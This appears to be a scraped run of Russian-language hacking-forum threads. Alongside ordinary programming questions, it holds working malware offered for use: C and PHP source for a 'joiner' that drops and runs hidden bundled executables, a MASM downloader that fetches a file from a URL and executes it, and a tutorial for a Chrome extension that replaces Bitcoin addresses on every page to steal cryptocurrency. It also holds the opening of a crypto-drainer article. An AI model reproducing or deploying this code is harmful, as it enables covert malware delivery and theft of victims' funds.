"MSDN" от мелкомягких
"Interactive Win32 syscall page from Metasploit"
http://www.metasploit.com/users/opcode/syscalls.html

Немного об авторе:

Автора сей статьи зовут Piotr Bania. Большое спасибо ему, этому простому польскому парню, который работает в IT, за эту статью.
Её перевёл на русский язык я, ZXroot. Источник: securityfocus
До встречи.

[mod][Ŧ1LAN:] смысл "переводить" статью 2005 года, тем более если она уже давно была пeреведена на русский[/mod]

Принцип работы джойнеров на php
ID: 67668b27b4103b69df375ef6
Thread ID: 8281
Created: 2006-05-06T08:02:23+0000
Last Post: 2006-05-06T08:02:23+0000
Author: Winux
Replies: 0 Views: 2K

Принцип работы джойнеров на php.

Как бы это меня не удивляло, при словах "джойнер на php" у многих возникают
эмоции типа "Вау! Как круто! Вот бы исходники посмотреть!" Цель данной статьи

развеять все мифы о этих, с позволенья сказать, скриптах и показать, что они
не представляют из себя что-либо сверхестественное. Далее по тексту мы напишем
такой джойнер. Разобраться должен даже девятиклассник. Потребуются минимальные
знания php и навыки программирования на C++ под Windows.

Лишний раз напомню, что целью данной статьи не является написание мега-крутого
джойнера со сменными иконками, упаковками и крипторами в четыре слоя. Работать
с Pe-форматом нам тоже не придется (пожелеем девятиклассников :) ). Итак,
принци простой: Есть обычный исполняемый файл. Как известно, маздаю будет
глупоко чихать, если в его конец что-то дописать. Вот мы и допишим склеиваемые
фалы. За головой нашего джойнера будет следовать такая структура:

[Files Count (DWORD)]
[Buffer Size (DWORD)]

[File1 Size (DWORD)]
[File1 Content (Variable)]
[File2 Size (DWORD)]
[File2 Content (Variable)]
............. etc

Где Files Count - число склееных файлов (мы можем склеить их сколько угодно),
Buffer Size - размер буфера, который должен выделить под свои нужды джойнер
(фактически это поле равно размеру наибольшего из склеиваемых файлов).
Далее идет File Count записей Размер:Содержимое. Вот сурец джойнера:

#include "windows.h"

#pragma comment(linker, "/ALIGN:4096 /MERGE:.idata=.text /MERGE:.data=.text");
#pragma commant(linker, "/SECTION:.text,EWR");

#define SELF_SIZE 1536

void main()
{
char SelfName[MAX_PATH];
char CurrDir[MAX_PATH];
char TempPath[MAX_PATH];
char TempName[MAX_PATH];
HANDLE hReadFile;
HANDLE hWriteFile;
HANDLE hBuff;

DWORD JoinedCount;
DWORD BuffSize;
DWORD FileSize;
DWORD ddTemp;
int Unique;

GetCurrentDirectory(MAX_PATH, CurrDir);
GetTempPath(MAX_PATH, TempPath);
GetModuleFileName(GetModuleHandle(0), SelfName, MAX_PATH);
hReadFile = CreateFile(SelfName, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_ALWAYS, 0, NULL);

if(hReadFile != INVALID_HANDLE_VALUE)
if(GetFileSize(hReadFile, 0) > SELF_SIZE)
{
SetFilePointer(hReadFile, SELF_SIZE, 0, FILE_BEGIN);
ReadFile(hReadFile, &JoinedCount, sizeof(DWORD), &ddTemp, NULL);
ReadFile(hReadFile, &BuffSize, sizeof(DWORD), &ddTemp, NULL);

hBuff = GlobalAlloc(GMEM_FIXED, BuffSize);
Unique = GetTickCount();

while(JoinedCount > 0)
{
ReadFile(hReadFile, &FileSize, sizeof(DWORD), &ddTemp, NULL);

Unique++;
wsprintf(TempName, "%s%d.exe", TempPath, Unique);

hWriteFile = CreateFile(TempName, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, 0, NULL);

if(hWriteFile == INVALID_HANDLE_VALUE)
break;

ReadFile(hReadFile, hBuff, FileSize, &ddTemp, 0);
WriteFile(hWriteFile, hBuff, FileSize, &ddTemp, 0);
CloseHandle(hWriteFile);
WinExec(TempName, SW_SHOWNORMAL);

JoinedCount--;
}

GlobalFree(hBuff);
CloseHandle(hReadFile);
}
ExitProcess(0);
}

Я надеюсь, что этот код не нуждается в коментариях. Скажу только, что после
того, как программа будет собрана, нужно изменить в исходном коде SELF_SIZE
на размер бинарника и собрать его снова.

Теперь осталось состряпоть... кхе-кхе... GUI ). Код приведен ниже.

> 8) & 0xFF). chr(($i >> 16) & 0xFF).chr($i >> 24); } $file = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAwAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v". "dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABGwbHZAqDfigKg34oCoN+K". "AqDeihKg34pgv8yKB6Dfiuq/1IoAoN+KUmljaAKg34oAAAAAAAAAAAAAAAAAAAAA". "UEUAAEwBAQC4ZVZEAAAAAAAAAADgAA8BCwEGAAAEAAAAAAAAAAAAAPARAAAAEAAA". "ACAAAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAIAAAAAIAAAAAAAACAAAA". "AAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAAAMEAAAPAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkBAAAEgAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAudGV4dAAAAKADAAAAEAAAAAQAAAACAAAAAAAAAAAAAAAAAAAgAADg". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlcyVkLmV4ZQAAAABIEAAA". "AAAAAAAAAADCEQAAkBAAAIgQAAAAAAAAAAAAANwRAADQEAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAADYEAAA5hAAAPQQAAD+EAAADBEAABgRAAAoEQAANhEAAEIRAABUEQAA". "YhEAAHARAACGEQAAmhEAAKoRAAAAAAAA0BEAAAAAAADYEAAA5hAAAPQQAAD+EAAA". "DBEAABgRAAAoEQAANhEAAEIRAABUEQAAYhEAAHARAACGEQAAmhEAAKoRAAAAAAAA". "0BEAAAAAAAB9AEV4aXRQcm9jZXNzAIgBR2xvYmFsRnJlZQAA0wJXaW5FeGVjABsA". "Q2xvc2VIYW5kbGUA3wJXcml0ZUZpbGUAbQFHZXRUaWNrQ291bnQAAIEBR2xvYmFs". "QWxsb2MAGAJSZWFkRmlsZQAAagJTZXRGaWxlUG9pbnRlcgAAEgFHZXRGaWxlU2l6". "ZQA0AENyZWF0ZUZpbGVBACQBR2V0TW9kdWxlRmlsZU5hbWVBAAAmAUdldE1vZHVs". "ZUhhbmRsZUEAAGUBR2V0VGVtcFBhdGhBAAD1AEdldEN1cnJlbnREaXJlY3RvcnlB". "AABLRVJORUwzMi5kbGwAAKwCd3NwcmludGZBAFVTRVIzMi5kbGwAAAAAAAAAAAAA". "gewkBAAAjYQkIAMAAFdQaAQBAAD/FcgQQACNjCQgAgAAUWgEAQAA/xXEEEAAjZQk". "HAEAAGgEAQAAUmoA/xXAEEAAUP8VvBBAAGoAagBqBGoAagGNhCQwAQAAaAAAAIBQ". "/xW4EEAAi/iD//8PhCcBAABqAFf/FbQQQAA9AAYAAA+GEwEAAFNVagBqAGgABgAA". "V/8VsBBAAIsdrBBAAI1MJAxqAFGNVCQYagRSV//TjUQkDGoAUI1MJCRqBFFX/9OL". "VCQcUmoA/xWoEEAAiUQkFP8VpBBAAIvoi0QkEIXAD4agAAAAVo1EJBBqAFCNTCQk". "agRRV//TRY2UJCwCAABVUo1EJCxoABBAAFD/FdAQQACDxBCNTCQkagBqAGoCagBq". "AGgAAABAUf8VuBBAAIvwg/7/dE+LRCQci0wkGI1UJBBqAFJQUVf/04tEJByLTCQY". "jVQkEGoAUlBRVv8VoBBAAFb/FZwQQACNVCQkagFS/xWYEEAAi0QkFEiJRCQUD4Vi". "////XotEJBRQ/xWUEEAAV/8VnBBAAF1bagD/FZAQQABfgcQkBAAAw5CQkJCQkJCQ". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; $file_size = 1536; if(isset($_POST["files_count"])) { $count = $_POST["files_count"]; $size = $file_size + 8; $max_size = 0; $sizes = array(); for($i = 1; $i <= $count; $i++) if(isset($_FILES["file$i"])) { $tmp = filesize($_FILES["file$i"]["tmp_name"]); $sizes[$i] = $tmp; if($tmp > $max_size) $max_size = $tmp; $size += $tmp + 4; } else die("\$_FILES[\"file$i\"] is not set."); header("Content-Transfer-Encoding: binary"); header("Content-type: application/x-download"); header("Content-Length: $size"); header("Content-Disposition: attachment; filename=\"joined.exe\""); echo base64_decode($file); print_int($count); print_int($max_size); for($i = 1; $i <= $count; $i++) { print_int($sizes[$i]); readfile($_FILES["file$i"]["tmp_name"]); } } else { $count = 0; if(isset($_POST["new_files_count"])) $count = intval($_POST["new_files_count"]); if($count < 2) $count = 2; echo "Files Count: ". "
". "
". ""; for($i = 1; $i <= $count; $i++) echo "File $i: "; echo "

". "Simple PHPJoiner v 0.8 © drmist\STNC 2006 | www.security-teams.net | drmist.ru"; } ?>

Переменная $file содержит откомпилированный бинарник в base64. Получить
ее значение можно простым скриптом

Пирнцип работы скрипта на мой взгляд также не нуждается в пояснении.
Фактически это все, что я хотел сказать. Надеюсь среди читателей не найдутся те,
кто найдет в этом тексте что-то сложное. Могу только добавить, что на ... эм..
написание этого текста с приготовлением всех сорсов и тестированием у меня ушло
что-то в районе часа. Все желающие могут протестировать джойнер, зайдя по ссылке
http://drmist.ru/joiner/.

В качестве заключения напомню, что данная статья со всеми исходными кодами
является моей интелектуальной собственностью, потому если читателю захочется
где-то ее выложить, он должен оставить ссылку на САЙТ НАШЕЙ КОМАНДЫ:
http://www.security-teams.net. В противном случае, он не сможет избавится от
угрызения совести до последней секунды своего жалкого существования :).
Кроме того, автор не несет ответственности за чужие действия в том случае,
если материал данной статьи будет использован в противозаконных целях.
Вся информация дана в ознакомительных целях.

** © drmist 2006, специально для antichat.ru**

PHP оболочка для разработки
ID: 67668b27b4103b69df375ef9
Thread ID: 8022
Created: 2006-04-22T07:58:29+0000
Last Post: 2006-04-22T16:50:28+0000
Author: Lamer
Replies: 3 Views: 2K

Господа, помогите ламеру...
Мне нужен какой-то клипс для РНР... желательно чтобы там можно было произвести трассировку кода... ну или еще что-то в этом роде...
А то у меня проэкт и в нем очень много функция... ну вобщем граммотно собраный проэкт и раскиданый по куче файлов... и помнить какая функция куда возвращает управление для меня просто нереально !!! ведь код я не писал и мне сложно запомнить все ответвления...

Сейчас вот сижу на UltraEdit ну это просто редактор обычный, только с подсветкой РНР кода...

Либо расскажите как вы запоминаете все эти переходы !!!

Возможно ошибки в файле. Помогите найти
ID: 67668b27b4103b69df375efc
Thread ID: 7692
Created: 2006-04-08T08:55:54+0000
Last Post: 2006-04-08T08:55:54+0000
Author: Sanny
Replies: 0 Views: 2K

Народ,помогите! Никак не могу откомпилировать си-шный файл в LCC.
Может там ошибки где в фале? Гляньте пожалуйста.
:zns5: Скачать|Download

Исходники MS DOS
ID: 67668b27b4103b69df375efe
Thread ID: 7622
Created: 2006-03-31T19:04:04+0000
Last Post: 2006-04-01T10:44:18+0000
Author: Winux
Replies: 1 Views: 2K

Опять же с сайта vipusers.
Исходники ДОСа от дяди билла
:zns5: [Скачать|Download](http://center.cie.hallym.ac.kr/~yuko/cgi- bin/ez2000/system/db/linux/upload/45/1070214716/MS-DOS.6.0.Source.Code.zip)

GZIP
ID: 67668b27b4103b69df375f01
Thread ID: 7489
Created: 2006-03-20T18:21:35+0000
Last Post: 2006-03-22T12:42:21+0000
Author: /dev/AVR
Replies: 2 Views: 2K

Люди. Работаю с GZIP
Файлом. Как при работе с GZIP файлом
можно сделать его блокировку для
других скриптов. Т.е пока с ним работает один,
другие работать на запись не могут.

В общем аналог FLOCK только для GZIP файлов.
У себя в справочнике PHP4 рыл, не нашел.

Подскажите пожалуйста.

Web Downloader (loader)
ID: 67668b27b4103b69df375f07
Thread ID: 7390
Created: 2006-03-13T08:22:01+0000
Last Post: 2006-03-13T08:22:01+0000
Author: barm
Replies: 0 Views: 2K

Code:Copy to clipboard

 .386

 .model flat, stdcall

   include masm32includekernel32.inc

   include masm32includeurlmon.inc

   includelib masm32liburlmon.lib

   includelib masm32libkernel32.lib

 

 .data

   Url db "http",0,54 dup(0)

   Exe db 'exe',0,12 dup(0)

   load db 0,126 dup(0)

 

 .code

 

 start:

   mov ebx, 0040104Bh

   push ebx

   push 7Dh

   call GetTempPath          

 

   push offset Exe

   push ebx

   call lstrcat

 

   push 0

   push 0

   push ebx

   push offset Url

   push 0

   call URLDownloadToFile
 

   push ebx

   call WinExec
 

   call ebx

 end start
Хороший учебник + справочник по пхп
ID: 67668b27b4103b69df375f0c
Thread ID: 7163
Created: 2006-02-24T14:02:12+0000
Last Post: 2006-02-24T14:42:42+0000
Author: pcproman
Replies: 1 Views: 2K

Дайте кто нить хороший учебник, справочник, по ПХП на русском языке :), или понятный на енглише....
З.Ы. нада коечто подучить :)

Вопросы по Java
ID: 67668b27b4103b69df375f12
Thread ID: 6953
Created: 2006-02-08T21:40:49+0000
Last Post: 2006-02-09T03:32:46+0000
Author: Dron
Replies: 1 Views: 2K

Задался таким вопросом

int x = 7;
float y = 4.0

x *= y;

Переменная 'x' умножаеться на переменную 'y', ответ 28. Но какому типу данных переменной присваиваеться ответ, int или float?

Управляй компьютером через сотовый!
ID: 67668b27b4103b69df375f1b
Thread ID: 6260
Created: 2005-12-31T07:21:39+0000
Last Post: 2005-12-31T07:21:39+0000
Author: Ŧ1LAN
Replies: 0 Views: 2K

Идея

Идею управления компьютером с мобильника через WAP я ношу в голове уже пару лет, а тут у меня появился Siemens M50, у которого имеется GPRS. Включил услугу WAP через GPRS и начал работать. Первым делом, конечно, решил поискать уже готовые решения, однако ничего путного, кроме RemotelyAnywhere v5.00.406 я не нашел. Единственным недостатком этой софтины было использование WAP второй версии. Большинство же сотовых, представленных сегодня на рынке, поддерживают WAP версии не выше 1.2.1. Поэтому я и решил сам написать WAP-сервер для управления PCшником.

Начнем

Кодить будем на MS Visual C++ 6.0 на уровне WinAPI, с использованием библиотеки WinSock. Первым делом создадим новый проект и добавим в линковку две библиотеки:

ws2_32.lib - библиотека Windows Sockets
winmm.lib - Multimedia библиотека

Добавляем Source-файл main.cpp и вставляем заголовки:

Code:Copy to clipboard

#include <windows.h> // Стандартно
#include <winsock.h> // Сокеты
#include <mmsystem.h> // Multimedia

Что бы прога была маленькой добавляем такие строки

Code:Copy to clipboard

#pragma comment(linker,"/MERGE:.rdata=.text")
#pragma comment(linker,"/FILEALIGN:512 /SECTION:.text,EWRX /IGNORE:4078")
#pragma comment(linker,"/ENTRY:MyWinMain") // Точка входа
#pragma comment(linker,"/NODEFAULTLIB")

Немного теории

Согласно протоколу WAP (Wireless Application Proctocol), после отправления запроса клиентом, сервер должен послать либо запрошенный документ с его типом (WML- Wireless Markup Language) и кодом успешности операции (200), либо сообщение с ошибкой. Мы полагаем, что запрос верный и будем всегда посылать меню с возможными вариантами действий: Открыть/Закрыть лоток CD-ROMа, выключить или перезагрузить компьютер и выйти из данного пользователя. Для этого надо послать клиенту такие строки:

Code:Copy to clipboard

char s[12][62]=
{ 
"HTTP/1.1 200 OK\r\nContent-Type: text/vnd.wap.wml\r\n\r\n",
"<?xml version = \"1.0\"?>\r\n<!DOCTYPE wml PUBLIC \"-//WAPFORUM",
"//DTD WML 1.1//EN\" \"http://www.wapforum.org/DTD/wml_1.1.xml\">",
"\r\n<wml>\r\n<card id=\"Card1\" title=\"My Computer\">\r\n<p>",
"<a href=\"opencd\">OpenCD</a>
\r\n",
"<a href=\"closecd\">CloseCD</a>
\r\n",
"<a href=\"shut\">Shut Down</a>
\r\n",
"<a href=\"reset\">Reset</a>
\r\n",
"<a href=\"logoff\">LogOFF</a>
\r\n",
"</p>\r\n</card>\r\n</wml>\r\n"
};

Надо заметить, что WML построен на базе XML.

Теперь приступим к кодингу

Кодим

Для начала напишем несколько вспомогательных функций, которые понадобятся нам позже, а может и потом вам в своих приложениях. CRC (Код циклического контроля) мы будем использовать для идентификации команд, ИМХО это очень удобно, а CRC проверен временем и обеспечивает хорошее рассеивание.

Code:Copy to clipboard

u_long crc32_table[256]; //Для хранения таблицы crc
#define CRC32_POLY 0xEDB88320; // Стандартный полином

//Инициализируем crc
void init_crc32()
{
int i, j;
u_long c;
for (i = 0; i < 256; ++i)
{
for (c = i << 24, j = 8; j > 0; --j)
if(c & 0x80000000){c=(c << 1) ^ CRC32_POLY;} else {c=(c << 1);};
crc32_table[i] = c;
}
}

//Считаем CRC
u_long crc32(u_char *buf)
{
u_char *p= buf;
u_long crc;
crc = 0xffffffff;
while(*p!=0)
{
crc = (crc << 8) ^ crc32_table[(crc >> 24) ^ *(p++)];
if(*p==32) break;
};
return ~crc;
}


//Возвращает позицию n-ого пробела
int space(char * word, int n)
{
if(n==0) return -1;
int nbsp=0;
for(int i=0; i<strlen((char *)word); i++)
if(word[i]==32)
if(++nbsp==n) return i;
return -666;
}

//Возвращает n-ое слово word[0], word[1],...
char temp[1000];
char * get(char * word, int n)
{
int j=0;
if(space(word, n)!=-666)
for(int i=space(word, n)+1; i<strlen(word); i++)
{
if(word[i]==32) break; else temp[j++]=word[i];
}
temp[j]=0;
return temp;
};

//Приводим английские символы в верхнему регистру
u_char * UpString(u_char * str)
{
int i=-1;
while(str[++i]!=0)
if((str[i]>96)&&(str[i]<123)) str[i]=str[i]&0xDF;
return str;
};

//Главная функция
void MyWinMain(void)
{
DWORD size, nr;
char Buff[1000];

//Инициалицируем crc32
init_crc32();

// Это для ведения логов
HANDLE out = CreateFile("C:\\dataxxx.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);

// Инициализируем и настраиваем сокет
WSADATA WSAData;
WSAStartup(MAKEWORD(1,1), &WSAData);
SOCKET Sock0 = socket(AF_INET, SOCK_STREAM, 0);
sockaddr_in name;
name.sin_family = AF_INET;
name.sin_port = htons(80); // Будем ожидать подключения на 80-й порт
name.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(Sock0, (struct sockaddr FAR *) &name, sizeof(name))==SOCKET_ERROR)ExitProcess(666);

listen(Sock0, 5); // Слушаем


again:
SOCKET Sock1=accept(Sock0, NULL, NULL); // Принимаем соединение

while(true)
{
ioctlsocket(Sock1, FIONREAD, &size); // Пришел запрос?
if(size>0) // Да!
{

recv(Sock1,(char *)Buff,1000,0); // Получаем запрос
WriteFile(out, &Buff, size, &nr, NULL); // В лог

// Отправляем меню в сотик и в лог
for(int i=0; i<12; i++)
{
send(Sock1, s[i], strlen(s[i]), 0);
WriteFile(out, &s[i], strlen(s[i]), &nr, NULL);
}
closesocket(Sock1);


// Если REQUEST==GET
if( crc32(UpString( (u_char *)get(Buff, 0)))==0xA10411F )
switch( crc32(UpString( (u_char *)get(Buff, 1))) )
{
//OPENCD
case 0x52AD375F:
mciSendString("SET CDAUDIO DOOR OPEN WAIT",0,0, 0); break;
//CLOSECD
case 0x3918CCDF:
mciSendString("SET CDAUDIO DOOR CLOSED WAIT",0,0, 0); break;
//SHUT
case 0xE4F1DC3F:
ExitWindowsEx(EWX_POWEROFF, 0); break;
//RESET
case 0x54DF1B7F:
ExitWindowsEx(EWX_REBOOT, 0); break;
//LOGOFF
case 0x838B5D5F:
ExitWindowsEx(EWX_LOGOFF, 0); break;
}

goto again;
}
};
CloseHandle(out);
}

Все, можно компилить (только в конфигурации Release) и запускать. Несчастливым не обладателям сотовых могу лишь посоветовать воспользоваться WAP-эмулятором, коих сейчас в сети полно. И еще, если вы хотите управлять компьютером через WEB-интерфейс, то вам надо лишь заменить отправляемое меню на такое:

Code:Copy to clipboard

char s[8][50]=
{ 
"HTTP/1.1 200 OK\r\nContent-Type: text/html;",
"charset=windows-1251\r\n\r\n",
"<html><title><<<FULL CONTROL>>></title><body>",
"<a href=\"opencd\">OpenCD</a>
",
"<a href=\"closecd\">CloseCD</a>
",
"<a href=\"reset\">Reset</a>
",
"<a href=\"off\">OFF</a>
",
"</body></html>"
};

Кому лень с этим разбираться могут скачать уже готовый проект.

Удачи!

Источник: inattack.ru

7 типичных ошибок PHP-програмистов
ID: 67668b27b4103b69df375f1c
Thread ID: 6142
Created: 2005-12-26T10:18:59+0000
Last Post: 2005-12-26T10:18:59+0000
Author: Ŧ1LAN
Replies: 0 Views: 2K

На сайте SitePoint, на котором публикуются различные материалы, посвящённые Вэб-дизайну и программированию, опубликована статья Пакса Дикинсона (Pax Dickinson) под названием "Top 7 PHP Security Blunders", в которой автор описывает 7 наиболее типичных ошибок, приводящих к уязвимости Вэб-сайта, на котором работает уязвимый скрипт.

В связи с широким распространением в последнее время PHP в качестве скриптового языка, для обеспечения динамического контента Вэб-серверов, статья будет наверняка полезна начинающим программистам.
http://www.sitepoint.com/article/php-security-blunders

P.S. правда статья на английском так что кто не знает английский срочно учите!

JDK
ID: 67668b27b4103b69df375f1d
Thread ID: 6135
Created: 2005-12-25T20:32:22+0000
Last Post: 2005-12-26T08:25:34+0000
Author: m4rrow
Replies: 2 Views: 2K

Никто незнает где качнуть?! Чтоб сжатое поменьше весило? ;)

[HTML Academy] Проект на JavaScript «Интернет-магазин» (2020)
ID: 67668b27b4103b69df375d71
Thread ID: 47758
Created: 2021-02-07T18:52:20+0000
Last Post: 2021-12-09T08:28:27+0000
Author: balabashka
Replies: 4 Views: 1K

Название: Проект на JavaScript «Интернет-магазин» (2020)

Автор: HTML Academy

Описание:
Интернет-магазин

В этом проекте вам предстоит запрограммировать одностраничное приложение на JavaScipt, которое будет работать в браузере — список товаров в интернет- магазине с подробной информацией о каждом товаре. Приложение позволяет выбрать товары разных категорий, отфильтровать их по цене, открыть подробную информацию о каждом товаре.
Интерфейс интернет-магазина включает в себя страницу со всеми товарами, HTML- форму с фильтрами, модальное окно для вывода подробной информации о товаре. Чтобы получить информацию о товарах, вам нужно будет запрограммировать загрузку данных с сервера. В эталонной реализации используются нативные браузерные API.
Тренировочный комплект включает :

  • подробное техническое задание проекта;
  • готовая для программирования вёрстка;
  • автоматические тесты, которые проверяют правильность работы вашего проекта, а также качество кода;
  • эталонная реализация на современных JavaScript, HTML и CSS;
  • ссылки на полезные материалы.

Уровень сложности : сложный.

Исходник

Скачать

помагите с roadmap как сделать?
ID: 67668b27b4103b69df375cc9
Thread ID: 114995
Created: 2024-05-20T17:27:55+0000
Last Post: 2024-05-25T20:08:40+0000
Author: lider
Replies: 4 Views: 1K

помагите с roadmap ом как мне ее сделать я толком не понял что это

Нужен совет по разработке web панели и переговорке.
ID: 67668b27b4103b69df375cd0
Thread ID: 107720
Created: 2024-02-07T17:06:09+0000
Last Post: 2024-05-03T01:48:16+0000
Author: SKARDA
Replies: 5 Views: 1K

Всех приветствую, есть задача разработать для раcм "продукта", веб панель, а так же переговорку. Подскажите что можно найти из готового/полу-готового, может есть какие-то уже готовые проекты на github, ну и просто если есть что по теме посоветовать дельного , оставь коммент или в лс.

Стоит ли учить php в 2024?
ID: 67668b27b4103b69df375cdb
Thread ID: 110884
Created: 2024-03-20T13:05:01+0000
Last Post: 2024-03-29T14:13:23+0000
Author: stereotype
Replies: 14 Views: 1K

Стоит ли учить пхп? Или лучше посмотреть в сторону python, ruby, go?

Обфускатор JS
ID: 67668b27b4103b69df375cdd
Thread ID: 110652
Created: 2024-03-18T00:16:02+0000
Last Post: 2024-03-26T07:20:21+0000
Author: RealMayer
Replies: 8 Views: 1K

Всех благ уважаемые форумчани!
Посоветуйте качественный обфускатор JS. Либо же какой-то уже слитый для примера его работы.
Заранее всем спасибо.

Как сделать свой клиппер BTC адресов для браузера Google Chrome
ID: 67668b27b4103b69df375cde
Thread ID: 93137
Created: 2023-07-16T19:50:20+0000
Last Post: 2024-03-23T19:34:31+0000
Author: TR77
Prefix: Статья
Replies: 8 Views: 1K

Как сделать свой клиппер BTC адресов для браузера Google Chrome

Ну для начала пару слов о том, что такое клиппер если кто-то не знает - это программа, которая подменяет адреса криптокошельков на компьютере жертвы на ваши, человек не замечает подмены и отправляет крипту на ваш адрес. В этой статье я расскажу как сделать простую такую программу (расширение) для браузера google chrome, чтоб подменять адреса bitcoin кошельков. Использовать ее я конечно не советую можно сесть за такое в тюрьму, хотя бы по РУ не работайте.
Первый этап

Начать стоит с того, что нам нужно будет ванильное расширение для хрома. Никакого функционала оно нести не будет, только выводить что-то вроде "Hello world" и всё. Для этого идем на гитхаб и пишем chrome extension.

Сразу видим первым в выдаче репозиторий с примерами расширений. Заходим..

Как я писал выше нам нужно хелло ворлд базовое расширение. Жмякаем по ссылке и нас перекидывает к файлам расширения где мы их можем и скачать.

Закидываем эти 4 файла в одну папку и открываем хром.
Чтоб установить расширение нужно перейти во вкладку расширения

Включить Developer Mode

Далее нажав Load unpacked выбрать папку с теми 4 файлами на вашем ПК.

И как мы видим расширение установлено. Мы завершили первый этап.

Второй этап
Если не установлено, установите VSCODE чтоб было удобно редактировать код расширения https://code.visualstudio.com/.
Открываем в VSCODE папку с нашим расширением.

Открываем файл manifest.json и к концу файла добавляем следующие строчки

Code:Copy to clipboard

"content_scripts": [{

"matches": ["<all_urls>"],

"js": ["background.js"]

}],

"host_permissions": ["<all_urls>"]

в итоге он должен выглядеть так

Что делает этот код?
Манифэст это своего рода конфиг для нашего расширения, и мы ему сейчас дали понять что при открытии любой странички будет исполняться код из файла background.js, который собственно и нужно создать. Для этого нажмите эту кнопку

Что ж, для примера добавим обычным консоль лог, который выведет три единички в консоли браузера при загрузке странички. Пишем мы это в файл background.js т.к именно он исполняется на странице!

Code:Copy to clipboard

function init() { // обьявляем функцию инит

console.log(111) // делаем консоль лог

} // закрываем функцию

init() // вызываем функцию

Сохраняемся и обновляем расширение, для этого жмем эту кнопку

Чтоб увидеть изменения после обновления всегда нажимайте эту кнопку чтоб браузер обновил код.

Заходим в гугол и видим наши три единчки. Значит скрипт работает, ура.

Третий этап
Добавляем функционал. Добавим в самый верх файла функцию которая будет нам говорить является ли текст на странице биткоин адресом. Это делается для того чтоб когда наше расширение будет смотреть ВСЕ элементы на странице не заменяло все что есть на наш биткоин адрес.

Code:Copy to clipboard

function validate_bitcoin_address(btc_address){

return btc_address.match("^[13][a-km-zA-HJ-NP-Z1-9]{25,34}quot;) !== null;quot;) !== null;

}

Так как контент на сайте может меняться в конце файла добавим строчку которая будет запускать нашу функцию init каждые 3 секунды, на случай если что-то на странице поменяется и появится адрес битка.

Code:Copy to clipboard

setInterval(init, 3000);

И теперь к самому вкусному.
Внутри нашей функции init добавляем код который будет получать все элементы на странице, далее циклом перебирать их. По простому для чайников, получаем список всех элементов на странице (кнопки, заголовки, текста, ссылки вообще все что есть) и проходимся циклом то есть последовательно по списку смотря каждый элемент.

Code:Copy to clipboard

const getAllPageElements = document.getElementsByTagName("*"); // получаем все элементы на странице

for (var i = 0, max = getAllPageElements.length; i < max; i++) { // проходим циклом по каждому элементу

var pageEl = getAllPageElements[i]; // наш элемент

}

Когда мы теперь можем работать отдельно с каждым элементом страницы (как видно в коде которые последовательно записываются в переменную pageEl) мы будем смотреть что находится внутри, то есть вполне возможно мы найдем биткоин адрес.

Code:Copy to clipboard

var text = pageEl.innerText; // внутренности нашего элемента, то есть там может быть наш биткоин адресс

Теперь в переменной текст хранится все что есть на сайте в виде строк (текста) и мы можем с помощью функции validate bitcoin address которую добавили ранее проверить является ли строка (текст) на странице биткоин адресом.

Code:Copy to clipboard

if(text){ // проверка на null undefined и пустые строки

if(validate_bitcoin_address(text)){ // проверка на биткоин адрес

console.log(text) // в случае если текст или стрка является биткоин адресом вывести ее в консоль

}

}

В итоге у вас должно получится что то типа такого

Давайте проверим как работает наше чудо. Зайдем на сайт где должны явно находится биткоин адреса и посмотрим найдет ли их наш скрипт и выведит ли в консоль. Для примера я взял блокчейн сканнер битка - https://www.blockchain.com/explorer...5ef069d057a38c50b25f93e862bc75ab689dd534f17fc и зашел в первую попавшуются транзу, страница загрузилась открываем консоль и смотрим...

Победа! Можем видеть что расширение удачно находит адреса на странице.
Теперь давайте напишем код который будет подменять их на наш. Создадим переменную, которая будем хранить в себе наш адрес для подмены

И чтоб адрес менялся на наш дописываем такую строчку

Code:Copy to clipboard

pageEl.innerText = MY_ADDRESS;

Обновим расширение, зайдем на страницу (блокчейн сканнера) и посмотрим работает ли.

Да, адреса заменяются и скрипт работает :)
В конце всего должен быть такой код

Итог:

Простое расширение для браузера, при установке которого будет заменять все адреса биткоин кошельков на ваш адрес для кражи крипты.
Самая большая благодарность это ваши лайки и комментарии.
Если хотите продолжение или статью на похожую тематику пишите буду делать.

Цикл в цикле PHP. Помогите, кто понимает
ID: 67668b27b4103b69df375ce8
Thread ID: 85392
Created: 2023-04-07T07:19:55+0000
Last Post: 2024-02-11T22:13:02+0000
Author: PrikolBullet
Replies: 8 Views: 1K

Вопрос скорее на логику. У меня список прокси и список urls на которые я отправляю запросы. Проблема в том, что в случае умирания прокси, цикл со списком urls начинается заново. Использую curl_me()

Цикл прокси:
Цикл юрлс:
curl_me();

Как можно решить проблему, чтобы не терять urls?

Js помощь
ID: 67668b27b4103b69df375cf0
Thread ID: 98258
Created: 2023-09-17T15:53:35+0000
Last Post: 2024-01-09T19:09:33+0000
Author: Ineversober111
Replies: 16 Views: 1K

Недавно начал изучать js, не могли бы вы подсказать код или функцию чтобы скрипт срабатывал 1 раз на 1 айпи, если человек обновит страницу у него не срабатывал этот скрипт

Делаем модалку для дрейнера и боремся с фейк коннектами
ID: 67668b27b4103b69df375d00
Thread ID: 99467
Created: 2023-10-05T19:55:35+0000
Last Post: 2023-10-19T15:38:56+0000
Author: Patr1ck
Prefix: Статья
Replies: 9 Views: 1K

ПРЕДИСЛОВИЕ

